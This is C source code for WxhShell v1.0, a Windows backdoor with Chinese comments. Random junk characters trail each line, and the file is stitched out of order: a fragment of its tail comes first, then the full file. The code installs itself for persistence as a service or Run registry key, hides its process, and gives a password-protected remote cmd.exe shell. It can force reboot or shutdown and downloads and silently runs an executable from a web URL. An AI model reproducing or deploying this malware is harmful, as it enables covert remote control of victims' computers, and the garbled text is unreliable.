  case 'd': { 'zo] f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MrU0Jrk4+  
    if(Boot(SHUTDOWN)) |&49YQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :@~W$f\y  
    else { |$:y8H'J  
    closesocket(wsh); {wL30D^  
    ExitThread(0); <6rc 8jYz  
    } [aS<u`/g|  
    break; R]LuZN  
    } fFe{oR   
  // 获取shell V$?@ z>7  
  case 's': { ye^*Z>|  
    CmdShell(wsh); *"qS  
    closesocket(wsh); ;}>g/lw  
    ExitThread(0); wJAJ /  
    break; *DUP$@}k  
  } iVSN>APe  
  // 退出 UE\Z] t!  
  case 'x': { :w,#RcW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UFSbu5 j  
    CloseIt(wsh); uB@~xQ_V  
    break; WeiDg,]e$b  
    } |PNPOj0  
  // 离开 m+!T $$W  
  case 'q': { 63PSYj(y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^0tO2$  
    closesocket(wsh); ]. E/s(p  
    WSACleanup(); '#eY4d<i]n  
    exit(1); Y n7z#bu  
    break; r gw@  
        } EGMIw?%Y`-  
  } $*')Sma  
  } I6e[K(7NY  
b2r]>*Vc  
  // 提示信息 zB68%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )q|a Sd  
} VFI\2n`  
  } h1 npaD!  
I<+i87=  
  return; EA``G8Vn>  
} +bDBc?HZ{$  
8\VP)<<  
// shell模块句柄 {9Ug9e{ ~  
int CmdShell(SOCKET sock) AW <"3 !@  
{ ZBuh(be  
STARTUPINFO si; [k<.BCE  
ZeroMemory(&si,sizeof(si)); P _x(`H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2 r';)8:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =n ff;Xu  
PROCESS_INFORMATION ProcessInfo; ss0`9:z  
char cmdline[]="cmd"; E (.~[-K4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `k.0d`3(  
  return 0; I83 _x|$FZ  
} 5< $8.a#  
= 9!|%j  
// 自身启动模式 93VbB[w~7F  
int StartFromService(void) `8lS)R!  
{ e.VQ!)>  
typedef struct B{tROuN<  
{ f`K[oCfu  
  DWORD ExitStatus; }bZb8hiG  
  DWORD PebBaseAddress; Ly P Cc|  
  DWORD AffinityMask; $)#?4v<  
  DWORD BasePriority;  /~1Ew  
  ULONG UniqueProcessId; wTe 9OFv  
  ULONG InheritedFromUniqueProcessId; PpLuN12H  
}   PROCESS_BASIC_INFORMATION; 8|) $;.  
N?s`a;Q[=  
PROCNTQSIP NtQueryInformationProcess; +mRc8G  
Wl0p-h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mJ>msI @  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /T<))@$  
hA=}R.gi  
  HANDLE             hProcess; J3QL%#  
  PROCESS_BASIC_INFORMATION pbi; i4}+n^oSYo  
2|A?9aE%0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~J![Nx/  
  if(NULL == hInst ) return 0; qYP;`L}o#  
J{U 171  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]o?r( 1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f=hT o!i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VOSq%hB  
z 4qEC  
  if (!NtQueryInformationProcess) return 0; uGpLh0  
8 RA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q2Dh(  
  if(!hProcess) return 0; _$KE E|9  
,4HZ-|EOZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "F:V$,mJ  
|)*9BN  
  CloseHandle(hProcess); {,B. OM)J  
Wud-(19  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q8!X^1F7  
if(hProcess==NULL) return 0;  B9dc *  
\GPTGi5A  
HMODULE hMod; l T#WM]  
char procName[255]; 0uu)0:  
unsigned long cbNeeded; VHm.uL_UW  
&3$FkU^F6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QlMv_|`9  
s`en8%  
  CloseHandle(hProcess); H=*lj.x  
O>"T*   
if(strstr(procName,"services")) return 1; // 以服务启动 ~"VM_Lz]5  
ue1g(;  
  return 0; // 注册表启动 n0QHrIf{  
} f^)iv ]p  
JAX`iQd  
// 主模块 \h/)un5  
int StartWxhshell(LPSTR lpCmdLine) ;}H*|"z;!  
{ VVbFn9+V  
  SOCKET wsl; V an=dz G  
BOOL val=TRUE; N~ajrv}kd  
  int port=0; op($+Q  
  struct sockaddr_in door; O7oq1JI]Y  
uD\rmO{  
  if(wscfg.ws_autoins) Install(); ++ZP X'|  
a@ ^)?cH!z  
port=atoi(lpCmdLine); biG :Xn  
w7c0jIf{  
if(port<=0) port=wscfg.ws_port; XS$#\UQ  
:_|Xr'n`A  
  WSADATA data; ojyP.R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D63?f\  
Z*n4$?%W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -/:!AxIH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,3 [FD9  
  door.sin_family = AF_INET; +;,X?E]g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i9|}-5ED  
  door.sin_port = htons(port); _*cKu>,O  
~ike&k{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ftz-l&5  
closesocket(wsl); |kY  
return 1; ibn\&}1  
} ; xL8W  
nErr&{C  
  if(listen(wsl,2) == INVALID_SOCKET) { 5me#/NqLHY  
closesocket(wsl); >sZ_I?YDs  
return 1; FX!Qd&kl1  
} Zrzv';  
  Wxhshell(wsl); X%5 `B2Wu  
  WSACleanup(); G8WPXj(  
YU XxQ|  
return 0; x*p'm[Tdtm  
XQ2 YUe]DJ  
} l.(|&U~  
rk47 $36X  
// 以NT服务方式启动 .Fx3WryF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x)pR^t7u8  
{ m/q`k  
DWORD   status = 0; Cj=_WWo  
  DWORD   specificError = 0xfffffff; o;21|[z  
Tb!FO"o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dA^{}zZu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;oO_5[,M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C~WWuju'  
  serviceStatus.dwWin32ExitCode     = 0; A-, hm=?  
  serviceStatus.dwServiceSpecificExitCode = 0; =b8u8*ua  
  serviceStatus.dwCheckPoint       = 0; T oT('  
  serviceStatus.dwWaitHint       = 0; VUOe7c=  
j`+{FCB7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #.vp \W  
  if (hServiceStatusHandle==0) return; E:-~SH}  
S|T_<FCY  
status = GetLastError(); w}s5=>QG%  
  if (status!=NO_ERROR) x|gYxZ  
{ %{Obh j;c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]E)D})r`#  
    serviceStatus.dwCheckPoint       = 0; HA0F'k  
    serviceStatus.dwWaitHint       = 0; 7j HrLsB  
    serviceStatus.dwWin32ExitCode     = status; :9e4(7~ona  
    serviceStatus.dwServiceSpecificExitCode = specificError; =:t<!dp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); noLr185  
    return; }57Jn5&'  
  } b|*+!v:I>T  
aPRMpY-YC3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; / U!xh3  
  serviceStatus.dwCheckPoint       = 0; I`s~.fZt  
  serviceStatus.dwWaitHint       = 0; "3'a.b akw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J*_^~t  
} S<jiy<|`  
Z|fi$2k0!  
// 处理NT服务事件,比如:启动、停止 =A~5?J=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8kC$Z)  
{ H?FiZy*[Y  
switch(fdwControl) s8 u`v1  
{ tvBLfqIr  
case SERVICE_CONTROL_STOP: =*{7G*tS  
  serviceStatus.dwWin32ExitCode = 0; | O9b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s8'!1rHd  
  serviceStatus.dwCheckPoint   = 0; R;fev 1mE  
  serviceStatus.dwWaitHint     = 0; WYP\J1sy  
  { JpZ_cb`<E'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }{kn/m/  
  } HH0ck(u_A*  
  return; /0!.u[t)~  
case SERVICE_CONTROL_PAUSE: zqURnsJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ).0p\.W~  
  break; 'n^?DPvD  
case SERVICE_CONTROL_CONTINUE: j&U7xv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Vk2%yw>  
  break; @4KKm@(p85  
case SERVICE_CONTROL_INTERROGATE: w `+.F;}s  
  break; qu!x#OY+  
}; 9I`0`o"A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `gF`Sgz  
} <f=<r*6  
O3)B]!xL  
// 标准应用程序主函数 hsJ^Au=})w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6G#[Mc yn  
{ `t44.=%  
j'Q0DF=GV  
// 获取操作系统版本 ]HB1JJiS~  
OsIsNt=GetOsVer(); BG)zkn$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `z.sWF|f!O  
>DbG )0|  
  // 从命令行安装 2^"! p;WQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); kw} E0uY  
.t9`e=%  
  // 下载执行文件 ,izp^,`  
if(wscfg.ws_downexe) { Z op/ MeI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \gK'g-)}  
  WinExec(wscfg.ws_filenam,SW_HIDE); xwW(WHdC]  
} !I\eIV>0b  
+>AVxV=A#  
if(!OsIsNt) { K>5 bb  
// 如果时win9x,隐藏进程并且设置为注册表启动 &x=_n'  
HideProc(); _/"e'@z  
StartWxhshell(lpCmdLine); #f;6Ia>#  
} t:P7ah  
else f="ZplW  
  if(StartFromService()) E{QjmlXQ<  
  // 以服务方式启动 +]GP"yv-  
  StartServiceCtrlDispatcher(DispatchTable); q2OF-.rE  
else he@Y1CY  
  // 普通方式启动 <%W&xk  
  StartWxhshell(lpCmdLine); S,ud pQ7  
U>00B|<GJ  
return 0; kGC*\?<LmR  
} >wL!`:c'"  
"=KFag  
9YB?wh'S[  
ZsCwNZR  
=========================================== Nf2lw]-G4  
7xY&7 x(v  
:7X{s4AU6  
Vq/hk  
,aq>9\ pi  
+fKV/tSWi  
" ;8 *"c  
;CoD5F!  
#include <stdio.h> T00sYoK  
#include <string.h> \TnK<83  
#include <windows.h> {X<_Y<  
#include <winsock2.h> ;Jb% 2?+=!  
#include <winsvc.h> PMX'vA`  
#include <urlmon.h> 2P${5WT  
b"`Q&V.  
#pragma comment (lib, "Ws2_32.lib") keKsLrd  
#pragma comment (lib, "urlmon.lib") <0m^b#hdG  
X+HPdrT  
#define MAX_USER   100 // 最大客户端连接数 6' \M:'<0e  
#define BUF_SOCK   200 // sock buffer wuxOFlrg  
#define KEY_BUFF   255 // 输入 buffer r+6 DlT a  
@3 +   
#define REBOOT     0   // 重启 69Z`mR  
#define SHUTDOWN   1   // 关机 7l09  
^^24a_+2  
#define DEF_PORT   5000 // 监听端口 d_f*'M2Gv  
0F6@aQ\y3  
#define REG_LEN     16   // 注册表键长度 \d:Uq5d)0  
#define SVC_LEN     80   // NT服务名长度 (lq%4h  
j~=<O<P  
// 从dll定义API jeO`45O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0"N4WH O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); __uk/2q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ar'VoL}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m;IKV,  
{j<?+o5A  
// wxhshell配置信息 SMU 8U  
struct WSCFG { > PL}7f&:  
  int ws_port;         // 监听端口 a@9W'/?igk  
  char ws_passstr[REG_LEN]; // 口令 /,j'V r\"  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8/y8tMm]  
  char ws_regname[REG_LEN]; // 注册表键名 /qq*"R  
  char ws_svcname[REG_LEN]; // 服务名 |%rRALIY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u*oP:!s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EG_P^ <z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rTOex]@N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (9'q/qgTO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZEpu5`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >* F#ZZv}p  
\l# H#~  
}; %kH,Rl\g  
\<y|[  
// default Wxhshell configuration -]YsiE?r  
struct WSCFG wscfg={DEF_PORT, Nr"GxezU+A  
    "xuhuanlingzhe", 0C"2?etMx  
    1, 1Mx2%  
    "Wxhshell", . S;o#Zw*R  
    "Wxhshell", t:,lz8Y~  
            "WxhShell Service", C.H(aX)7  
    "Wrsky Windows CmdShell Service", *+2BZ ZwT  
    "Please Input Your Password: ", W'E3_dj+  
  1, BvHI}=  
  "http://www.wrsky.com/wxhshell.exe", -- IewW  
  "Wxhshell.exe" lQt,(@7]  
    }; W>,D$  
2$2@?]|?  
// 消息定义模块 31%3&B:Ts  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l Dwq[ I]w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f{\[+>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8{7'w|/;.{  
char *msg_ws_ext="\n\rExit."; Q&PEO%/D  
char *msg_ws_end="\n\rQuit.";  ;Yg/y  
char *msg_ws_boot="\n\rReboot..."; m1tc="j  
char *msg_ws_poff="\n\rShutdown..."; dDA&\BuS  
char *msg_ws_down="\n\rSave to "; DGz}d,ie  
@00&J~D  
char *msg_ws_err="\n\rErr!"; j.V7`x  
char *msg_ws_ok="\n\rOK!"; +K2HMf'  
7E?60^Tve  
char ExeFile[MAX_PATH]; goD#2lg  
int nUser = 0; o?3C-A|  
HANDLE handles[MAX_USER]; cA]PZ*]{BN  
int OsIsNt; DIhV;[\  
QYAt)Ik9q  
SERVICE_STATUS       serviceStatus;  3L4v@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gy#G;9p  
_?bF;R  
// 函数声明 EU Oa8Z  
int Install(void); KEq48+j  
int Uninstall(void); D6\k}4n-  
int DownloadFile(char *sURL, SOCKET wsh); )sK _k U{\  
int Boot(int flag); /"R{1  
void HideProc(void); u=#_8e(9Z  
int GetOsVer(void); 9/R=_y-  
int Wxhshell(SOCKET wsl); mhs%8OTN  
void TalkWithClient(void *cs); u2U+uD@yA  
int CmdShell(SOCKET sock); ws,VO*4  
int StartFromService(void); ? fM_Y  
int StartWxhshell(LPSTR lpCmdLine);  .g=D70  
PA,\o8]x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [LbCG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C6D Eq>v  
\#"&S@%c  
// 数据结构和表定义 )M56vyo  
SERVICE_TABLE_ENTRY DispatchTable[] = )Q|sW+AF  
{ )G#O#Yy  
{wscfg.ws_svcname, NTServiceMain}, 3YEw7GIO-  
{NULL, NULL} y99|V39'  
}; Xcg+ SOB  
xp\6,Jyh  
// 自我安装 h<!!r  
int Install(void) !\\1#:*_W  
{ 3Z%jx#  
  char svExeFile[MAX_PATH]; &iJvkt  
  HKEY key; RTL@WI  
  strcpy(svExeFile,ExeFile); WtMDHfwqu\  
P4s,N|bs`  
// 如果是win9x系统,修改注册表设为自启动 8ROZ]Xh,x  
if(!OsIsNt) { th{Ib@o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =Zaw>p*H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4X>=UO``L  
  RegCloseKey(key); I5rAL\y-G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -8t&&fIA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SMA' VU  
  RegCloseKey(key); wPJA+  
  return 0; 1f2*S$[*L  
    } gy5R"_MU  
  } &Z7NF|  
} !Bhs8eGr3  
else { #[~f 6s9D  
}SS~uQ;8  
// 如果是NT以上系统,安装为系统服务 ,mt=)Ac  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "Y=4Y;5q  
if (schSCManager!=0) 3rx 8"  
{  ;W@  
  SC_HANDLE schService = CreateService !q^2| %  
  ( A$::|2~  
  schSCManager, h$$i@IO0  
  wscfg.ws_svcname, N6!9QIu~i  
  wscfg.ws_svcdisp, PD:lI]:s  
  SERVICE_ALL_ACCESS, m=^ihQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q\2~^w1V  
  SERVICE_AUTO_START, OkQtM nq  
  SERVICE_ERROR_NORMAL, oUN;u*  
  svExeFile, 1@^*tffL:  
  NULL, kAAD&t;w  
  NULL, b5^-q c6X  
  NULL, ;k,#o!>  
  NULL, IvB)d}p  
  NULL iE"+-z\U  
  ); )Tf,G[z&ge  
  if (schService!=0) 7KV0g1GQ  
  { oJ0ZZu?{D  
  CloseServiceHandle(schService); mX@!O[f%9e  
  CloseServiceHandle(schSCManager); bN>|4hS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?T8^tGD[  
  strcat(svExeFile,wscfg.ws_svcname); 5?Rzyfwk|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V<t!gT#&o!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SD1M`PI  
  RegCloseKey(key); jg(cpo d  
  return 0; +J2;6t  
    } #AH<dS  
  } [CG*o>n&|  
  CloseServiceHandle(schSCManager); 0G #s/u#  
} "jP{m; p  
} =XZd_v  
?.69nN  
return 1; 5uL!Ae  
} $1bzsB|^  
Y:]m~-T  
// 自我卸载 }r ;#|=HR  
int Uninstall(void) WC wM+D  
{ ~JDVoS;>jU  
  HKEY key; Uk0 0lPG.U  
,V ) |A=ml  
if(!OsIsNt) { $Rf)iW;h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B3@\Ua)  
  RegDeleteValue(key,wscfg.ws_regname); zd {\XW  
  RegCloseKey(key); C+aL8_(R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s.>;(RiJd  
  RegDeleteValue(key,wscfg.ws_regname); =_vW7-H  
  RegCloseKey(key); s )7sgP  
  return 0; 3;wOA4ur  
  } bA(-7l?  
} @[hD;xO  
} ^wb$wtL('  
else { w72\'  
k\}\>&Zqu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n4DKLAl  
if (schSCManager!=0) aQL$?,  
{ ^7V{nT@H3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M1e79p<  
  if (schService!=0) ZKoISuM  
  { O|Y~^:ny  
  if(DeleteService(schService)!=0) { Bx ru7E"  
  CloseServiceHandle(schService); Cg];UB}k  
  CloseServiceHandle(schSCManager); nT/Az g  
  return 0; 78FLy7  
  } _"S1>s)X?j  
  CloseServiceHandle(schService); fO 6Jug  
  } y"Jma`Vjq  
  CloseServiceHandle(schSCManager); W=!di3IA  
} '2xfU  
} *.A{p ;JC(  
3mLtnRX[m  
return 1; ]}>uvl^l  
} )~ghb"K  
^,6c9Dxy  
// 从指定url下载文件 G q2@37U  
int DownloadFile(char *sURL, SOCKET wsh) yFjjpEpnFt  
{ "D7wtpJ  
  HRESULT hr; 50NLguE  
char seps[]= "/"; i5Dq'wp  
char *token; ,O 1/|Y  
char *file; b' fcWp0  
char myURL[MAX_PATH]; 2#xz,RM.  
char myFILE[MAX_PATH]; pij%u<  
.5GGZfJ]  
strcpy(myURL,sURL); |,WP)  
  token=strtok(myURL,seps); ,*d<hBGbh  
  while(token!=NULL) {*AYhZ  
  { ! ^TCe8  
    file=token; tY!GJusd  
  token=strtok(NULL,seps); {# Vp`ji  
  } G^qt@,n$;  
XywsjeI4  
GetCurrentDirectory(MAX_PATH,myFILE); e&ci\x%  
strcat(myFILE, "\\"); ^#)]ICV  
strcat(myFILE, file); tQmuok4"d  
  send(wsh,myFILE,strlen(myFILE),0); N7mYE  
send(wsh,"...",3,0); &a?k1R>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @$!rgLyL[  
  if(hr==S_OK) sJ5Ws%q  
return 0; J6RzN'j  
else ,^uQw/  
return 1; Gq0`VHAn  
]@hN&W(+x  
} aP/Ff%5T  
USJk *  
// 系统电源模块 ((mR' A|`  
int Boot(int flag) O7# 8g$ZIv  
{ ,V.Bzf%=O  
  HANDLE hToken; F$te5 ` a  
  TOKEN_PRIVILEGES tkp; 2dJP|T9H  
7L$\S[E  
  if(OsIsNt) { *`~]XM@H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pMLTXqL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .1A/hAdU  
    tkp.PrivilegeCount = 1; =a!_H=+4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \<W/Z.}/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F6gU9=F1<  
if(flag==REBOOT) { 'QC'*Hl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 87yZd8+)  
  return 0; Rh#QPYPq  
} M992XXd  
else { )h`8</#m{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MWJ}  
  return 0; D2 X~tl5<  
} OI^sd_gkZ  
  } L^x h5{  
  else { {YF(6wVl  
if(flag==REBOOT) { J *;= f8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 57[tUO  
  return 0; s%i \z }/  
} .njk^,N  
else { H_>9'(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |}isSCt  
  return 0; 0N`N  
} }}u16x}*n  
} Ff&kK5} q  
>.&E-1[+:  
return 1; XNQPyZ2@|b  
} AfvIzsT0  
\%|%C  
// win9x进程隐藏模块 sMgRpem;  
void HideProc(void) #&K?N  
{ Ox9M![fC  
PpezWo)9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !Wz4BBU8o  
  if ( hKernel != NULL ) `CY c>n"  
  { WYd9p;k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dry>TXG*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "X \Yp_g  
    FreeLibrary(hKernel); W?<<al*  
  } -1}&\=8M  
+,T z +!  
return; \HQw$E/p  
} B ,U|V  
9Xh1i`.D  
// 获取操作系统版本 P71] Z  
int GetOsVer(void) _f"KB=A_x  
{ rVZlv3  
  OSVERSIONINFO winfo; tP4z#0r2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9xaieR  
  GetVersionEx(&winfo); REWW(.3o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {JQCfs  
  return 1; Af Y ]i  
  else cy0j>-z  
  return 0; !3`X Gg  
} mv>-XJ+  
qW`DCZu  
// 客户端句柄模块 $ D.*r*c6  
int Wxhshell(SOCKET wsl) E?S  
{ ^j7>Ul,  
  SOCKET wsh; *JF7 B  
  struct sockaddr_in client; `Gh J)WA<  
  DWORD myID; ?D;7ut$~  
I(>j"H)cAF  
  while(nUser<MAX_USER) m ;yIFO  
{ 3v ~[kVhoG  
  int nSize=sizeof(client); Q'rgh+6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); = ( 4l  
  if(wsh==INVALID_SOCKET) return 1; Vp&"[rC_z  
M}]4tAyT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {LBL8sG  
if(handles[nUser]==0) mC} b>\  
  closesocket(wsh); wizLA0W  
else eI98J"h%?  
  nUser++; ~DP5Qi  
  } IO7cRg'-F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lC@wCgc  
`*3;sq%`  
  return 0; OV|n/~  
} s*R UYx  
XbIxGL  
// 关闭 socket U#:N/ts*(  
void CloseIt(SOCKET wsh) Yf_/c*t\5  
{ cCs@[D#O1  
closesocket(wsh); d)GR]^=r  
nUser--; 5E^P2Mlc  
ExitThread(0); (dwb{+HW  
} RQU-]qQ8BM  
!uP8powO  
// 客户端请求句柄 8>`8p0I$+  
void TalkWithClient(void *cs) Oj '^Ww m  
{ $B`ETI9g-N  
Vg}+w Nt5  
  SOCKET wsh=(SOCKET)cs; ;?C`Jag x  
  char pwd[SVC_LEN]; |lN=q44I  
  char cmd[KEY_BUFF]; L@.Trso  
char chr[1]; 1 dOB|  
int i,j; d2fiPI7lg  
;@qQ^!g2  
  while (nUser < MAX_USER) { f.0HIc  
@H}{?-XyA  
if(wscfg.ws_passstr) { 5Gm8U"UR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jT`u!CwdT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q"Sja!-;|  
  //ZeroMemory(pwd,KEY_BUFF); NjKC{L5S:  
      i=0;  PZj}]d `  
  while(i<SVC_LEN) { ']N\y6=fn9  
9M-W 1prb  
  // 设置超时 )}u?ftu\  
  fd_set FdRead; i ^, $/  
  struct timeval TimeOut; 5?.!A 'zb  
  FD_ZERO(&FdRead); P|ftEF  
  FD_SET(wsh,&FdRead); &FG0v<f5Pv  
  TimeOut.tv_sec=8; 9Y?``QBN  
  TimeOut.tv_usec=0; H(kxRPH4@]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =.l>Uw!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mR~S$6cc  
JFq<sY!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n[\L6}  
  pwd=chr[0]; iD/+#UTY  
  if(chr[0]==0xd || chr[0]==0xa) { |h6, .#n  
  pwd=0; N{<5)L~Y  
  break; !Wj`U$];  
  } jOZ>^5}  
  i++; =&PO_t5)z  
    } hqV_MeHv'  
@u`m6``T  
  // 如果是非法用户,关闭 socket <pM6fI6BD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :;\xyy}A  
} 8! /ue.T  
Zzmo7kFx3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7!;zkou  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jl|^^?  
G?!8T91;  
while(1) { *+(eH#_2/  
.g94|P  
  ZeroMemory(cmd,KEY_BUFF); nI] zRduC  
js!C`]1  
      // 自动支持客户端 telnet标准   9*XT|B  
  j=0; ilZQ/hOBH  
  while(j<KEY_BUFF) { {asq[;]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PKd'lo  
  cmd[j]=chr[0]; X{:3UTBR  
  if(chr[0]==0xa || chr[0]==0xd) { ,; Uf>8~  
  cmd[j]=0; rr>6;  
  break; g ;X K3R  
  } UzW]kY[A<  
  j++; eI%k xqc  
    } &q M8)2Y  
(M{>9rk8  
  // 下载文件 . BX*C  
  if(strstr(cmd,"http://")) { TaF;P GjVw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  QB !%  
  if(DownloadFile(cmd,wsh)) <U8w#dc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2*] [M,L0c  
  else 1$^r@rP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /FjdcH=  
